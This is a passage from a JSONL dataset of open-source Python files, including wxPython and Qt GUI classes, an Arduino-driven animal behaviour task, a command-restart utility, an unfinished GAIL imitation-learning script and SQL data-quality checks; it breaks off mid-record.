\"date\": date,\n \"voltage\": t.voltage,\n \"current\": t.current,\n \"power_factor\": t.power_factor,\n \"apparent_power\": apparent_power,\n \"effective_power\": effective_power\n })\n\n\ndef round_up(n, multiple):\n return int(math.ceil(1.0 * n / multiple) * multiple)\n\ndef print_namedtuple(t, formatter):\n # Align at columns of four chars with at least two spaces as separator\n name_width = round_up(max(len(name) for name in t._fields) + 2, 4)\n format = '{0:' + str(name_width) + '}{1}'\n\n for n, v in zip(t._fields, t):\n # Print literals in displayable characters\n if isinstance(v, bytes):\n v = repr(v)\n print(format.format(n, formatter.unitify(n, v)))\n\n", "source": "falouu/el4000", "license": "MIT"} {"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2005, Enthought, Inc.\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in enthought/LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n#\n# Author: Enthought, Inc.\n# Description: \n#------------------------------------------------------------------------------\n\"\"\" A top-level application window that supports multiple toolbars. \"\"\"\nfrom __future__ import absolute_import\n\n# Major package imports.\nimport wx\n\n# Enthought library imports\nfrom pyface.action.api import ToolBarManager\nfrom traits.api import Trait, TraitDict, TraitEnum, TraitList\n\n# Local imports\nfrom .application_window import ApplicationWindow\n\n\nclass MultiToolbarWindow(ApplicationWindow):\n \"\"\" A top-level application window that supports multiple toolbars.\n\n The multi-toolbar window has support for a menu bar, status bar, and\n multiple toolbars (all of which are optional).\n\n \"\"\"\n\n # The toolbars in the order they were added to the window.\n _tool_bar_managers = Trait([], TraitList(Trait(ToolBarManager)))\n\n # Map of toolbar to screen location.\n _tool_bar_locations = Trait({},\n TraitDict(Trait(ToolBarManager),\n TraitEnum('top', 'bottom',\n 'left', 'right')))\n\n ###########################################################################\n # Protected 'Window' interface.\n ###########################################################################\n def _create_contents(self, parent):\n panel = super(MultiToolbarWindow, self)._create_contents(parent)\n self._create_trim_widgets(parent)\n\n return panel\n\n def _create_trim_widgets(self, parent):\n\n # The frame's icon.\n self._set_window_icon()\n\n # Add the (optional) menu bar.\n self._create_menu_bar(parent)\n\n # Add the (optional) status bar.\n self._create_status_bar(parent)\n\n # Add the (optional) tool bars.\n self.sizer = self._create_tool_bars(parent)\n\n return\n\n def _create_tool_bars(self, parent):\n \"\"\" Create the tool bars for this window. \"\"\"\n\n if len(self._tool_bar_managers) > 0:\n # Create a top level sizer to handle to main layout and attach\n # it to the parent frame.\n self.main_sizer = sizer = wx.BoxSizer(wx.VERTICAL)\n parent.SetSizer(sizer)\n parent.SetAutoLayout(True)\n\n for tool_bar_manager in self._tool_bar_managers:\n location = self._tool_bar_locations[tool_bar_manager]\n sizer = self._create_tool_bar(parent, sizer, tool_bar_manager,\n location)\n\n return sizer\n\n return None\n\n def _create_tool_bar(self, parent, sizer, tool_bar_manager, location):\n \"\"\" Create and add the toolbar to the parent window at the specified\n location.\n\n Returns the sizer where the remaining content should be added. For\n 'top' and 'left' toolbars, we can return the same sizer that contains\n the toolbar, because subsequent additions will be added below or to\n the right of those toolbars. For 'right' and 'bottom' toolbars, we\n create a spacer toolbar to hold the content.\n \"\"\"\n\n tool_bar = tool_bar_manager.create_tool_bar(parent)\n\n if location == 'top':\n child_sizer = wx.BoxSizer(wx.VERTICAL)\n child_sizer.Add(tool_bar, 0, wx.ALL | wx.ALIGN_LEFT | wx.EXPAND)\n sizer.Add(child_sizer, 1, wx.ALL | wx.EXPAND)\n\n if location == 'bottom':\n toolbar_sizer = wx.BoxSizer(wx.VERTICAL)\n\n # Add the placeholder for the content before adding the toolbar.\n child_sizer = self._create_content_spacer(toolbar_sizer)\n\n # Add the tool bar.\n toolbar_sizer.Add(tool_bar, 0, wx.ALL | wx.ALIGN_TOP | wx.EXPAND)\n sizer.Add(toolbar_sizer, 1, wx.ALL | wx.EXPAND)\n\n if location == 'left':\n child_sizer = wx.BoxSizer(wx.HORIZONTAL)\n child_sizer.Add(tool_bar, 0, wx.ALL | wx.ALIGN_TOP | wx.EXPAND)\n sizer.Add(child_sizer, 1, wx.ALL | wx.EXPAND)\n\n if location == 'right':\n toolbar_sizer = wx.BoxSizer(wx.HORIZONTAL)\n\n # Add the placeholder for the content before adding the toolbar.\n child_sizer = self._create_content_spacer(toolbar_sizer)\n\n # Add the tool bar.\n toolbar_sizer.Add(tool_bar, 0, wx.ALL | wx.ALIGN_TOP | wx.EXPAND)\n sizer.Add(toolbar_sizer, 1, wx.ALL | wx.EXPAND)\n\n return child_sizer\n\n def _create_content_spacer(self, sizer):\n spacer = wx.BoxSizer(wx.VERTICAL)\n sizer.Add(spacer, 1, wx.ALL | wx.EXPAND)\n\n return spacer\n\n ###########################################################################\n # Public MultiToolbarWindow interface\n ###########################################################################\n\n def add_tool_bar(self, tool_bar_manager, location='top'):\n \"\"\" Add a toolbar in the specified location.\n\n Valid locations are 'top', 'bottom', 'left', and 'right'\n \"\"\"\n\n self._tool_bar_managers.append(tool_bar_manager)\n self._tool_bar_locations[tool_bar_manager] = location\n\n#### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2007, Riverbank Computing Limited\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD license.\n# However, when used with the GPL version of PyQt the additional terms described in the PyQt GPL exception also apply\n\n#\n# Author: Riverbank Computing Limited\n# Description: \n#------------------------------------------------------------------------------\n\n\n# Enthought library imports.\nfrom pyface.workbench.i_view import MView\n\n\nclass View(MView):\n \"\"\" The toolkit specific implementation of a View.\n\n See the IView interface for the API documentation.\n\n \"\"\"\n\n ###########################################################################\n # 'IWorkbenchPart' interface.\n ###########################################################################\n\n def create_control(self, parent):\n \"\"\" Create the toolkit-specific control that represents the part. \"\"\"\n\n from pyface.qt import QtGui\n\n control = QtGui.QWidget(parent)\n\n palette = control.palette()\n palette.setColor(QtGui.QPalette.Window, QtGui.QColor('red'))\n control.setPalette(palette)\n control.setAutoFillBackground(True)\n\n return control\n\n def destroy_control(self):\n \"\"\" Destroy the toolkit-specific control that represents the part. \"\"\"\n\n if self.control is not None:\n self.control.hide()\n self.control.deleteLater()\n self.control = None\n\n return\n\n def set_focus(self):\n \"\"\" Set the focus to the appropriate control in the part. \"\"\"\n\n if self.control is not None:\n self.control.setFocus()\n\n return\n\n#### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "\nimport sys\nfrom os import path\n\ncurrent_dir = path.dirname(path.abspath(__file__))\nwhile path.split(current_dir)[-1] != r'Heron':\n current_dir = path.dirname(current_dir)\nsys.path.insert(0, path.dirname(current_dir))\n\nimport numpy as np\nimport serial\nimport threading\nimport pandas as pd\nfrom datetime import datetime\nfrom Heron.communication.socket_for_serialization import Socket\nfrom Heron import general_utils as gu, constants as ct\n\nneed_parameters = True\narduino_serial: serial.Serial\navail_time: float\navail_freq: int\nsucc_freq: int\nfail_freq: int\nsleep_dt = 0.18\nabort_at_wrong_poke: bool\nair_puff_at_wrong_poke: bool\ntrigger_string: str\npandas_file: str\npandas_trials_record: pd.DataFrame\navailability_period_is_running = False\nreward_amount = 1\nreward_poke: bool # False is the Old / Right poke, True is the New / Left one\nair_puff_thread_is_running: bool\nair_puff_timer = 0\nsuccesful_trials = 0\n\n\ndef add_timestamp_to_filename(save_file):\n\n filename = save_file.split('.')\n date_time = '{}'.format(datetime.now()).replace(':', '-').replace(' ', '_').split('.')[0]\n save_file = '{}_{}.{}'.format(filename[0], date_time, filename[1])\n\n return save_file\n\n\ndef freq_to_signal(freq):\n freq = int(freq)\n if freq < 500:\n freq = 500\n if freq > 5000:\n freq = 5000\n return chr(int(freq/500 + 97)).encode('utf-8')\n\n\ndef initialise(_worker_object):\n global arduino_serial\n global avail_time\n global avail_freq\n global succ_freq\n global fail_freq\n global abort_at_wrong_poke\n global air_puff_at_wrong_poke\n global trigger_string\n global pandas_file\n global pandas_trials_record\n global reward_poke\n global air_puff_thread_is_running\n\n try:\n parameters = _worker_object.parameters\n com_port = parameters[0]\n avail_time = parameters[1]\n avail_freq = parameters[2]\n succ_freq = parameters[3]\n fail_freq = parameters[4]\n abort_at_wrong_poke = parameters[5]\n air_puff_at_wrong_poke = parameters[6]\n trigger_string = parameters[7]\n pandas_file = parameters[8]\n except Exception as e:\n print(e)\n return False\n\n try:\n arduino_serial = serial.Serial(com_port)\n except Exception as e:\n print(e)\n return False\n\n if pandas_file != '':\n pandas_trials_record = pd.DataFrame(columns=['TimeStamp', 'Start_OR_PelletsGiven'])\n\n air_puff_thread_is_running = False\n reward_poke = True\n set_poke_tray()\n\n worker_object.relic_create_parameters_df(com_port=com_port, avail_time=avail_time, avail_freq=avail_freq,\n succ_freq=succ_freq, fail_freq=fail_freq,\n abort_at_wrong_poke=abort_at_wrong_poke,\n air_puff_at_wrong_poke=air_puff_at_wrong_poke,\n trigger_string=trigger_string, pandas_file=pandas_file)\n return True\n\n\ndef failure_sound():\n if int(fail_freq) != 0:\n arduino_serial.write(freq_to_signal(fail_freq))\n gu.accurate_delay(1200 * sleep_dt)\n arduino_serial.write(freq_to_signal(500))\n\n\ndef success_sound():\n if int(succ_freq) != 0:\n arduino_serial.write(freq_to_signal(succ_freq))\n gu.accurate_delay(1500 * sleep_dt)\n arduino_serial.write(freq_to_signal(succ_freq))\n gu.accurate_delay(1500 * sleep_dt)\n\n\ndef availability_sound():\n if int(avail_freq) != 0:\n arduino_serial.write(freq_to_signal(avail_freq))\n\n\ndef add_trial_state_to_trials_record(state):\n global pandas_trials_record\n global pandas_file\n\n if pandas_file != '':\n time = datetime.now()\n row = pd.DataFrame(data={pandas_trials_record.columns[0]: [time], pandas_trials_record.columns[1]: [state]})\n pandas_trials_record = pd.concat([pandas_trials_record, row])\n\n\ndef start_availability_thread():\n global arduino_serial\n global availability_period_is_running\n global avail_time\n global avail_freq\n global succ_freq\n global pandas_file\n global pandas_trials_record\n global reward_poke\n global abort_at_wrong_poke\n global succesful_trials\n\n total_steps = int(avail_time / sleep_dt)\n\n availability_period_is_running = True\n\n add_trial_state_to_trials_record('Start')\n\n bytes_in_buffer = arduino_serial.in_waiting\n while bytes_in_buffer:\n bytes_in_buffer = arduino_serial.in_waiting\n string_in = arduino_serial.read(bytes_in_buffer).decode('utf-8')\n if '555\\r\\n' in string_in:\n gu.accurate_delay(500)\n arduino_serial.reset_input_buffer()\n step = 0\n\n while availability_period_is_running:\n\n bytes_in_buffer = arduino_serial.in_waiting\n string_in = arduino_serial.read(bytes_in_buffer).decode('utf-8')\n\n success_failure_continue = 2 # 0=success, 1=failure, 2=continue\n # If the string is either 555 or 666 then if it is for the wrong poke and the abort_at_wrong_poke is on then\n # fail, otherwise succeed\n if bytes_in_buffer:\n if '555\\r\\n' in string_in:\n if not reward_poke:\n success_failure_continue = 0\n else:\n if abort_at_wrong_poke:\n success_failure_continue = 1\n else:\n success_failure_continue = 0\n if '666\\r\\n' in string_in:\n if reward_poke:\n success_failure_continue = 0\n else:\n if abort_at_wrong_poke:\n success_failure_continue = 1\n else:\n success_failure_continue = 0\n\n if success_failure_continue == 0:\n try:\n success_sound()\n for _ in np.arange(reward_amount):\n arduino_serial.write('a'.encode('utf-8'))\n gu.accurate_delay(500)\n availability_period_is_running = False\n succesful_trials += 1\n print(succesful_trials)\n except Exception as e:\n print(e)\n add_trial_state_to_trials_record(reward_amount)\n elif step >= total_steps or success_failure_continue == 1:\n try:\n failure_sound()\n availability_period_is_running = False\n except Exception as e:\n print(e)\n add_trial_state_to_trials_record(0)\n else:\n try:\n availability_sound()\n arduino_serial.read(arduino_serial.in_waiting)\n availability_period_is_running = True\n except Exception as e:\n print(e)\n gu.accurate_delay(1000 * sleep_dt)\n step += 1\n\n\ndef set_poke_tray():\n global arduino_serial\n global reward_poke\n\n if reward_poke:\n arduino_serial.write('m'.encode('utf-8'))\n else:\n arduino_serial.write('n'.encode('utf-8'))\n\n\ndef start_air_puff_thread():\n global availability_period_is_running\n global air_puff_thread_is_running\n global previous_availability_for_air_puff\n global air_puff_timer\n\n while air_puff_thread_is_running:\n if availability_period_is_running:\n air_puff_timer = 0\n if not availability_period_is_running:\n air_puff_timer += 1\n if air_puff_timer < 50:\n arduino_serial.reset_input_buffer()\n else: # 5 seconds delay\n air_puff_if_poking_outside_availability()\n\n gu.accurate_delay(100)\n\n\ndef air_puff_if_poking_outside_availability():\n\n if not availability_period_is_running:\n bytes_in_buffer = arduino_serial.in_waiting\n string_in = arduino_serial.read(bytes_in_buffer).decode('utf-8')\n\n if bytes_in_buffer:\n if '555\\r\\n' in string_in or '666\\r\\n' in string_in:\n arduino_serial.write('y'.encode('utf-8'))\n gu.accurate_delay(100)\n arduino_serial.write('z'.encode('utf-8'))\n\n\ndef start_availability_or_switch_pokes(data, parameters):\n global availability_period_is_running\n global air_puff_thread_is_running\n global trigger_string\n global reward_amount\n global reward_poke\n\n topic = data[0].decode('utf-8')\n message = Socket.reconstruct_array_from_bytes_message(data[1:])\n\n air_puff_at_wrong_poke = parameters[5]\n\n if air_puff_at_wrong_poke:\n if not air_puff_thread_is_running:\n air_puff_thread_is_running = True\n air_puff_thread = threading.Thread(group=None, target=start_air_puff_thread)\n air_puff_thread.start()\n else:\n air_puff_thread_is_running = False\n\n if 'Start' in topic:\n if not availability_period_is_running:\n if len(message.shape) > 1: # If the message is sent as a double array\n message = message[0]\n if trigger_string == message[0] or trigger_string == 'number':\n if trigger_string == 'number':\n reward_amount = int(message[0])\n try:\n if message[0] != -1 and message[0] != '-1': # That allows the result to update without starting another thread\n avail_thread = threading.Thread(target=start_availability_thread)\n avail_thread.start()\n except Exception as e:\n print(e)\n result = [np.array([availability_period_is_running])]\n elif 'Poke' in topic:\n reward_poke = message[0]\n if reward_poke == 'Left' or reward_poke == 'New':\n reward_poke = True\n if reward_poke == 'Right' or reward_poke == 'Old':\n reward_poke = False\n set_poke_tray()\n result = [np.array([availability_period_is_running])]\n\n return result\n\n\ndef on_end_of_life():\n global arduino_serial\n global air_puff_thread_is_running\n global pandas_file\n global pandas_trials_record\n\n if pandas_file != '':\n pandas_file = add_timestamp_to_filename(pandas_file)\n pandas_trials_record.to_pickle(pandas_file)\n\n air_puff_thread_is_running = False\n gu.accurate_delay(100)\n\n arduino_serial.reset_input_buffer()\n arduino_serial.close()\n\n\nif __name__ == \"__main__\":\n worker_object = gu.start_the_transform_worker_process(work_function=start_availability_or_switch_pokes,\n end_of_life_function=on_end_of_life,\n initialisation_function=initialise)\n worker_object.start_ioloop()\n", "source": "Heron-Repositories/Transfer-Learning-In-Animals", "license": "MIT"} {"text": "#!/usr/bin/env python\nimport logging\nimport os\nfrom signal import SIGINT\nimport sys\n\nlogging.basicConfig(format=\"[%(asctime)s] %(message)s\")\nlog = logging.getLogger()\nlog.setLevel(logging.DEBUG)\n\ncommand = sys.argv[1]\n\nif command is None:\n log.error(\"No command provided.\")\n sys.exit(1)\n\nlog.info(\"Starting command ({})\".format(command))\n\nwhile True:\n status = os.system(command)\n\n if status & SIGINT:\n log.error(\"SIGINT received; terminating\")\n sys.exit(status)\n else:\n log.info(\"Command ({}) exited, status {}; restarting\".format(command, status))\n", "source": "asthasr/utility_scripts", "license": "MIT"} {"text": "# Copyright 2021 Dynatrace LLC\r\n\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\nimport os.path\r\n\r\n\r\nEXTENSION_YAML = \"extension.yaml\"\r\nEXTENSION_ZIP = \"extension.zip\"\r\nEXTENSION_ZIP_SIG = \"extension.zip.sig\"\r\nDEFAULT_TARGET_PATH = os.path.curdir\r\nDEFAULT_EXTENSION_DIR = os.path.join(os.path.curdir, \"extension\")\r\nDEFAULT_DEV_CERT = os.path.join(os.path.curdir, \"developer.pem\")\r\nDEFAULT_DEV_KEY = os.path.join(os.path.curdir, \"developer.key\")\r\nDEFAULT_CA_CERT = os.path.join(os.path.curdir, \"ca.pem\")\r\nDEFAULT_CA_KEY = os.path.join(os.path.curdir, \"ca.key\")\r\nDEFAULT_CERT_VALIDITY = 365 * 3\r\n", "source": "djelinski/dt-cli", "license": "Apache-2.0"} {"text": "import cv2\nimport numpy as np\nwriter = cv2.VideoWriter(\"output.avi\",\ncv2.VideoWriter_fourcc(*\"MJPG\"), 30,(220,220))\nimage = np.random.randint(0, 255, (220,220,3)).astype('uint8')\nfor frame in range(1000):\n writer.write(image)\n\nwriter.release()", "source": "MouseHu/emdqn", "license": "MIT"} {"text": "import gym\nimport argparse\nimport calendar\n\nfrom rllab.baselines.linear_feature_baseline import LinearFeatureBaseline\nfrom rllab.envs.normalized_env import normalize\n\nfrom rllab.envs.gym_env import GymEnv\nfrom rllab.config import LOG_DIR\n\nfrom sandbox import RLLabRunner\n\nfrom sandbox.rocky.tf.algos.trpo import TRPO\nfrom sandbox.rocky.tf.algos.gail import GAIL\nfrom sandbox.rocky.tf.envs.base import TfEnv\n\nfrom sandbox.rocky.tf.policies.categorical_mlp_policy import CategoricalMLPPolicy\nfrom sandbox.rocky.tf.policies.gaussian_mlp_policy import GaussianMLPPolicy\n\nfrom sandbox.rocky.tf.policies.gaussian_lstm_policy import GaussianLSTMPolicy\nfrom sandbox.rocky.tf.policies.gaussian_gru_policy import GaussianGRUPolicy\n\nfrom sandbox.rocky.tf.core.network import MLP, RewardMLP, BaselineMLP\nfrom sandbox.rocky.tf.optimizers.conjugate_gradient_optimizer import ConjugateGradientOptimizer, FiniteDifferenceHvp\n\nimport tensorflow as tf\nimport numpy as np\nimport os\n\nimport os.path as osp\nfrom rllab import config\n\nparser = argparse.ArgumentParser()\n# Logger Params\nparser.add_argument('--exp_name',type=str,default='my_exp')\nparser.add_argument('--tabular_log_file',type=str,default= 'tab.txt')\nparser.add_argument('--text_log_file',type=str,default= 'tex.txt')\nparser.add_argument('--params_log_file',type=str,default= 'args.txt')\nparser.add_argument('--snapshot_mode',type=str,default='all')\nparser.add_argument('--log_tabular_only',type=bool,default=False)\nparser.add_argument('--log_dir',type=str)\nparser.add_argument('--args_data')\n\n# Environment params\nparser.add_argument('--trajdatas',type=int,nargs='+',default=[1,2,3,4,5,6])\nparser.add_argument('--n_features',type=int,default=45)\nparser.add_argument('--limit_trajs',type=int,default=12000)\nparser.add_argument('--max_traj_len',type=int,default=100) # max length of a trajectory (ts)\nparser.add_argument('--env_name',type=str,default=\"Following\")\nparser.add_argument('--following_distance',type=int,default=10)\nparser.add_argument('--normalize_obs',type=bool,default= True)\nparser.add_argument('--normalize_act',type=bool,default=False)\nparser.add_argument('--norm_tol',type=float,default=1e-1)\nparser.add_argument('--render',type=bool, default= False)\n\n# Env dict\n## parameters for the environment\n\n# Model Params\nparser.add_argument('--policy_type',type=str,default='mlp')\nparser.add_argument('--policy_save_name',type=str,default='policy_gail')\nparser.add_argument('--baseline_type',type=str,default='linear')\nparser.add_argument('--reward_type',type=str,default='mlp') # adversary / discriminator network\nparser.add_argument('--load_policy',type=bool,default=False)\n\nparser.add_argument('--hspec',type=int,nargs='+') # specifies architecture of \"feature\" networks\nparser.add_argument('--p_hspec',type=int,nargs='+',default=[]) # policy layers\nparser.add_argument('--b_hspec',type=int,nargs='+',default=[]) # baseline layers\nparser.add_argument('--r_hspec',type=int,nargs='+',default=[]) # reward layers\n\nparser.add_argument('--gru_dim',type=int,default=64) # hidden dimension of gru\n\nparser.add_argument('--nonlinearity',type=str,default='tanh')\nparser.add_argument('--batch_normalization',type=bool,default=False)\n\n# TRPO Params\nparser.add_argument('--trpo_batch_size', type=int, default= 40 * 100)\n\nparser.add_argument('--discount', type=float, default=0.95)\nparser.add_argument('--gae_lambda', type=float, default=0.99)\nparser.add_argument('--n_iter', type=int, default=500) # trpo iterations\n\nparser.add_argument('--max_kl', type=float, default=0.01)\nparser.add_argument('--vf_max_kl', type=float, default=0.01)\nparser.add_argument('--vf_cg_damping', type=float, default=0.01)\n\nparser.add_argument('--trpo_step_size',type=float,default=0.01)\n\nparser.add_argument('--only_trpo',type=bool,default=False)\n\n# GAILS Params\nparser.add_argument('--gail_batch_size', type=int, default= 1024)\nparser.add_argument('--adam_steps',type=int,default=1)\nparser.add_argument('--adam_lr', type=float, default=0.00005)\nparser.add_argument('--adam_beta1',type=float,default=0.9)\nparser.add_argument('--adam_beta2',type=float,default=0.99)\nparser.add_argument('--adam_epsilon',type=float,default=1e-8)\nparser.add_argument('--decay_steps',type=int,default=0)\nparser.add_argument('--decay_rate',type=float,default=1.0)\n\nparser.add_argument('--hard_freeze',type=bool,default=True)\nparser.add_argument('--freeze_upper',type=float,default=1.0)\nparser.add_argument('--freeze_lower',type=float,default=0.5)\n\nparser.add_argument('--policy_ent_reg', type=float, default=0.0)\nparser.add_argument('--env_r_weight',type=float,default=0.0)\n\nargs = parser.parse_args()\n\nassert not args.batch_normalization, \"Batch normalization not implemented.\"\n\nnonlins = {'tanh':tf.nn.tanh,'relu':tf.nn.relu,'elu':tf.nn.elu,'sigmoid':tf.nn.sigmoid}\nnonlinearity = nonlins[args.nonlinearity]\n\nif args.hspec is None:\n p_hspec = args.p_hspec\n b_hspec = args.b_hspec\n r_hspec = args.r_hspec\nelse:\n p_hspec = args.hspec\n b_hspec = args.hspec\n r_hspec = args.hspec\n\n## DEFINE THE ENVIRONMENT\ngym.envs.register(\n id=\"SpellingCorrection-v0\",\n entry_point='rllab.envs.nlp_env:SpellingCorrection',\n timestep_limit=999,\n reward_threshold=195.0,\n)\n\n## TODO : Write function for loading trajectories\nexpert_data_path = LOG_DIR + '/expert_data.h5'\nexpert_data, expert_data_stacked = load_trajs(expert_data_path, args.limit_trajs)\n\ninitial_obs_mean = expert_data_stacked['exobs_Bstacked_Do'].mean(axis= 0)\ninitial_obs_std = expert_data_stacked['exobs_Bstacked_Do'].std(axis= 0)\ninitial_obs_var = np.square(initial_obs_std)\n\n# normalize observations\nif args.normalize_obs:\n expert_data = {'obs':(expert_data_stacked['exobs_Bstacked_Do'] - initial_obs_mean) / initial_obs_std}\nelse:\n expert_data = {'obs':expert_data_stacked['exobs_Bstacked_Do']}\n\n# normalize actions\nif args.normalize_act:\n initial_act_mean = expert_data_stacked['exa_Bstacked_Da'].mean(axis= 0)\n initial_act_std = expert_data_stacked['exa_Bstacked_Da'].std(axis= 0)\n\n expert_data.update({'act':(expert_data_stacked['exa_Bstacked_Da'] - initial_act_mean) / initial_act_std})\nelse:\n initial_act_mean = 0.0\n initial_act_std = 1.0\n\n expert_data.update({'act':expert_data_stacked['exa_Bstacked_Da']})\n\n# rllab wrapper for gym env. NOTE: takes obs mean and var to normalize during transitions\ng_env = normalize(GymEnv(env_id),\n initial_obs_mean= initial_obs_mean,\n initial_obs_var= initial_obs_var,\n normalize_obs= True,\n running_obs= False)\nenv = TfEnv(g_env)\n\n## DEFINE POLICY, ADVERSARY, AND BASELINE NETWORKS\n# create policy\nif args.policy_type == 'mlp':\n policy = GaussianMLPPolicy('mlp_policy', env.spec, hidden_sizes= p_hspec,\n std_hidden_nonlinearity=nonlinearity,hidden_nonlinearity=nonlinearity,\n batch_normalization=args.batch_normalization\n )\n\nelif args.policy_type == 'gru':\n if p_hspec == []:\n feat_mlp = None\n else: # create feature extracting mlp to feed into gru.\n feat_mlp = MLP('mlp_policy', p_hspec[-1], p_hspec[:-1], nonlinearity, output_activation,\n input_shape= (np.prod(env.spec.observation_space.shape),),\n batch_normalization=args.batch_normalization)\n policy = GaussianGRUPolicy(name= 'gru_policy', env_spec= env.spec,\n hidden_dim= args.gru_dim,\n feature_network=feat_mlp,\n state_include_action=False)\nelse:\n raise NotImplementedError\n\n# create baseline\nif args.baseline_type == 'linear':\n baseline = LinearFeatureBaseline(env_spec=env.spec)\n\nelif args.baseline_type == 'mlp':\n baseline = BaselineMLP(name='mlp_baseline',\n output_dim=1,\n hidden_sizes= b_hspec,\n hidden_nonlinearity=nonlinearity,\n output_nonlinearity=None,\n input_shape=(np.prod(env.spec.observation_space.shape),),\n batch_normalization=args.batch_normalization)\n baseline.initialize_optimizer()\nelse:\n raise NotImplementedError\n\n# create adversary / discriminator network which will act as surrogate reward.\nreward = RewardMLP('mlp_reward', 1, r_hspec, nonlinearity,tf.nn.sigmoid,\n input_shape= (np.prod(env.spec.observation_space.shape) + env.action_dim,),\n batch_normalization= args.batch_normalization)\n\n## DEFINE TRAINING ALGORITHM: GENERATIVE ADVERSARIAL IMITATION LEARNING\nalgo = GAIL(\n env=env,\n policy=policy,\n baseline=baseline,\n reward=reward,\n expert_data=expert_data,\n batch_size= args.trpo_batch_size,\n gail_batch_size=args.gail_batch_size,\n max_path_length=args.max_traj_len,\n n_itr=args.n_iter,\n discount=args.discount,\n #step_size=0.01,\n step_size=args.trpo_step_size,\n force_batch_sampler= True,\n whole_paths= True,\n adam_steps= args.adam_steps,\n decay_rate= args.decay_rate,\n decay_steps= args.decay_steps,\n act_mean= initial_act_mean,\n act_std= initial_act_std,\n freeze_upper = args.freeze_upper,\n freeze_lower = args.freeze_lower,\n fo_optimizer_cls= tf.train.AdamOptimizer,\n fo_optimizer_args= dict(learning_rate = args.adam_lr,\n beta1 = args.adam_beta1,\n beta2 = args.adam_beta2,\n epsilon= args.adam_epsilon),\n optimizer=ConjugateGradientOptimizer(hvp_approach=FiniteDifferenceHvp(base_eps=1e-5))\n)\n\n# crufty code for saving to h5. We probably don't want this.\ndate= calendar.datetime.date.today().strftime('%y-%m-%d')\nif date not in os.listdir(rllab_path+'/data'):\n os.mkdir(rllab_path+'/data/'+date)\nc = 0\nexp_name = args.exp_name + '-'+str(c)\nwhile exp_name in os.listdir(rllab_path+'/data/'+date+'/'):\n c += 1\n exp_name = args.exp_name + '-'+str(c)\n\nexp_dir = date+'/'+exp_name\nlog_dir = osp.join(config.LOG_DIR, exp_dir)\npolicy.set_log_dir(log_dir)\n\n# run the algorithm and save everything to rllab's pickle format.\nrunner = RLLabRunner(algo, args, exp_dir)\nrunner.train()\n", "source": "windweller/nlplab", "license": "MIT"} {"text": "from __future__ import division\nimport logging\nimport time\n\nfrom pedsnetdcc.db import Statement, StatementSet\nfrom pedsnetdcc.dict_logging import secs_since\nfrom pedsnetdcc.utils import check_stmt_data, check_stmt_err, combine_dicts\n\n# TODO: Make below code dependent on the pedsnetdcc.FACT_RELATIONSHIP_DOMAINS\n# dictionary, allowing for easy addition of new domains to the table.\n\n# The below total fact_relationship record count statements assume that\n# domain_concept_id_1 defines a record as being in a domain.\n\ntot_obs_sql = '''\nSELECT COUNT(*) FROM fact_relationship WHERE domain_concept_id_1 = 27\n'''\ntot_obs_msg = 'counting total observation records in fact relationship'\n\ntot_meas_sql = '''\nSELECT COUNT(*) FROM fact_relationship WHERE domain_concept_id_1 = 21\n'''\ntot_meas_msg = 'counting total measurement records in fact relationship'\n\ntot_visit_sql = '''\nSELECT COUNT(*) FROM fact_relationship WHERE domain_concept_id_1 = 8\n'''\ntot_visit_msg = 'counting total visit records in fact relationship'\n\ntot_drug_sql = '''\nSELECT COUNT(*) FROM fact_relationship WHERE domain_concept_id_1 = 13\n'''\ntot_drug_msg = 'counting total drug records in fact relationship'\n\n# The below bad fact_relationship record count statements return the\n# number of bad *records* not the number of bad *references*. There may be\n# more than one (two) bad references per record.\n\nbad_obs_sql = '''\nSELECT COUNT(*) FROM (\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN observation o ON f.fact_id_1 = o.observation_id\n WHERE domain_concept_id_1 = 27 AND o.observation_id IS NULL\nUNION\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN observation o ON f.fact_id_2 = o.observation_id\n WHERE domain_concept_id_2 = 27 AND o.observation_id IS NULL\n) q\n'''\nbad_obs_msg = 'counting invalid observation records in fact relationship'\n\nbad_meas_sql = '''\nSELECT COUNT(*) FROM (\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN measurement m ON f.fact_id_1 = m.measurement_id\n WHERE domain_concept_id_1 = 21 AND m.measurement_id IS NULL\nUNION\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN measurement m ON f.fact_id_2 = m.measurement_id\n WHERE domain_concept_id_2 = 21 AND m.measurement_id IS NULL\n) q\n'''\nbad_meas_msg = 'counting invalid measurement records in fact relationship'\n\nbad_visit_sql = '''\nSELECT COUNT(*) FROM (\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN visit_occurrence v ON f.fact_id_1 = v.visit_occurrence_id\n WHERE domain_concept_id_1 = 8 AND v.visit_occurrence_id IS NULL\nUNION\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN visit_occurrence v ON f.fact_id_2 = v.visit_occurrence_id\n WHERE domain_concept_id_2 = 8 AND v.visit_occurrence_id IS NULL\n) q\n'''\nbad_visit_msg = 'counting invalid visit records in fact relationship'\n\nbad_drug_sql = '''\nSELECT COUNT(*) FROM (\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN drug_exposure d ON f.fact_id_1 = d.drug_exposure_id\n WHERE domain_concept_id_1 = 13 AND d.drug_exposure_id IS NULL\nUNION\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN drug_exposure d ON f.fact_id_2 = d.drug_exposure_id\n WHERE domain_concept_id_2 = 13 AND d.drug_exposure_id IS NULL\n) q\n'''\nbad_drug_msg = 'counting invalid drug records in fact relationship'\n# The below bad 